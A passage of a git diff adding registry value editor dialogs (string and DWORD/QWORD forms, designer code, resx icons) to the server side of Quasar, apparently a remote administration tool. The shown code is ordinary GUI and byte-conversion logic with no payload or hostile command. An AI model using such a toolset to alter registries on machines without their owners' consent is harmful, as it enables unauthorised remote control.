System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 60); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // valueDataTxtBox + // + this.valueDataTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76); + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20); + this.valueDataTxtBox.TabIndex = 0; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(280, 111); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(199, 111); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // FrmRegValueEditString + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(364, 146); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditString"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.Text = "Edit String"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox valueDataTxtBox; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs new file mode 100644 index 0000000..d068af9 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -0,0 +1,31 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Quasar.Server/Forms/FrmRegValueEditString.resx b/Quasar.Server/Forms/FrmRegValueEditString.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditString.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs new file mode 100644 index 0000000..62aefd5 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs @@ -0,0 +1,192 @@ +using Quasar.Server.Controls; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditWord + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditWord)); + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.baseBox = new System.Windows.Forms.GroupBox(); + this.radioDecimal = new System.Windows.Forms.RadioButton(); + this.radioHexa = new System.Windows.Forms.RadioButton(); + this.valueDataTxtBox = new WordTextBox(); + this.baseBox.SuspendLayout(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20); + this.valueNameTxtBox.TabIndex = 5; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 11); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.TabIndex = 10; + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 53); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.TabIndex = 9; + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(271, 128); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(190, 128); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // baseBox + // + this.baseBox.Controls.Add(this.radioDecimal); + this.baseBox.Controls.Add(this.radioHexa); + this.baseBox.Location = new System.Drawing.Point(190, 53); + this.baseBox.Name = "baseBox"; + this.baseBox.Size = new System.Drawing.Size(156, 63); + this.baseBox.TabIndex = 6; + this.baseBox.TabStop = false; + this.baseBox.Text = "Base"; + // + // radioDecimal + // + this.radioDecimal.AutoSize = true; + this.radioDecimal.Location = new System.Drawing.Point(14, 40); + this.radioDecimal.Name = "radioDecimal"; + this.radioDecimal.Size = new System.Drawing.Size(63, 17); + this.radioDecimal.TabIndex = 4; + this.radioDecimal.Text = "Decimal"; + this.radioDecimal.UseVisualStyleBackColor = true; + // + // radioHexa + // + this.radioHexa.AutoSize = true; + this.radioHexa.Checked = true; + this.radioHexa.Location = new System.Drawing.Point(14, 17); + this.radioHexa.Name = "radioHexa"; + this.radioHexa.Size = new System.Drawing.Size(86, 17); + this.radioHexa.TabIndex = 3; + this.radioHexa.TabStop = true; + this.radioHexa.Text = "Hexadecimal"; + this.radioHexa.UseVisualStyleBackColor = true; + this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged); + // + // valueDataTxtBox + // + this.valueDataTxtBox.IsHexNumber = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); + this.valueDataTxtBox.MaxLength = 8; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.Text = "0"; + this.valueDataTxtBox.Type = WordType.DWORD; + // + // FrmRegValueEditWord + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(358, 163); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.baseBox); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditWord"; + this.ShowIcon = false; + this.Text = "Edit"; + this.baseBox.ResumeLayout(false); + this.baseBox.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private System.Windows.Forms.GroupBox baseBox; + private System.Windows.Forms.RadioButton radioDecimal; + private System.Windows.Forms.RadioButton radioHexa; + private Controls.WordTextBox valueDataTxtBox; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar.Server/Forms/FrmRegValueEditWord.cs new file mode 100644 index 0000000..a8745c1 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditWord.cs @@ -0,0 +1,80 @@ +using System; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditWord : Form + { + private readonly RegValueData _value; + + private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; + private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + + public FrmRegValueEditWord(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + + if (value.Kind == RegistryValueKind.DWord) + { + this.Text = "Edit DWORD (32-bit) Value"; + this.valueDataTxtBox.Type = WordType.DWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x"); + } + else + { + this.Text = "Edit QWORD (64-bit) Value"; + this.valueDataTxtBox.Type = WordType.QWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x"); + } + } + + private void radioHex_CheckboxChanged(object sender, EventArgs e) + { + if (valueDataTxtBox.IsHexNumber == radioHexa.Checked) + return; + + if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + valueDataTxtBox.IsHexNumber = radioHexa.Checked; + else + radioDecimal.Checked = true; + } + + private void okButton_Click(object sender, EventArgs e) + { + if (valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + { + _value.Data = _value.Kind == RegistryValueKind.DWord + ? ByteConverter.GetBytes(valueDataTxtBox.UIntValue) + : ByteConverter.GetBytes(valueDataTxtBox.ULongValue); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + } + else + { + this.DialogResult = DialogResult.None; + } + + this.Close(); + } + + private DialogResult ShowWarning(string msg, string caption) + { + return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + } + + private bool IsOverridePossible() + { + string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; + + return ShowWarning(message, "Overflow") == DialogResult.Yes; + } + } +} diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.resx b/Quasar.Server/Forms/FrmRegValueEditWord.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditWord.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 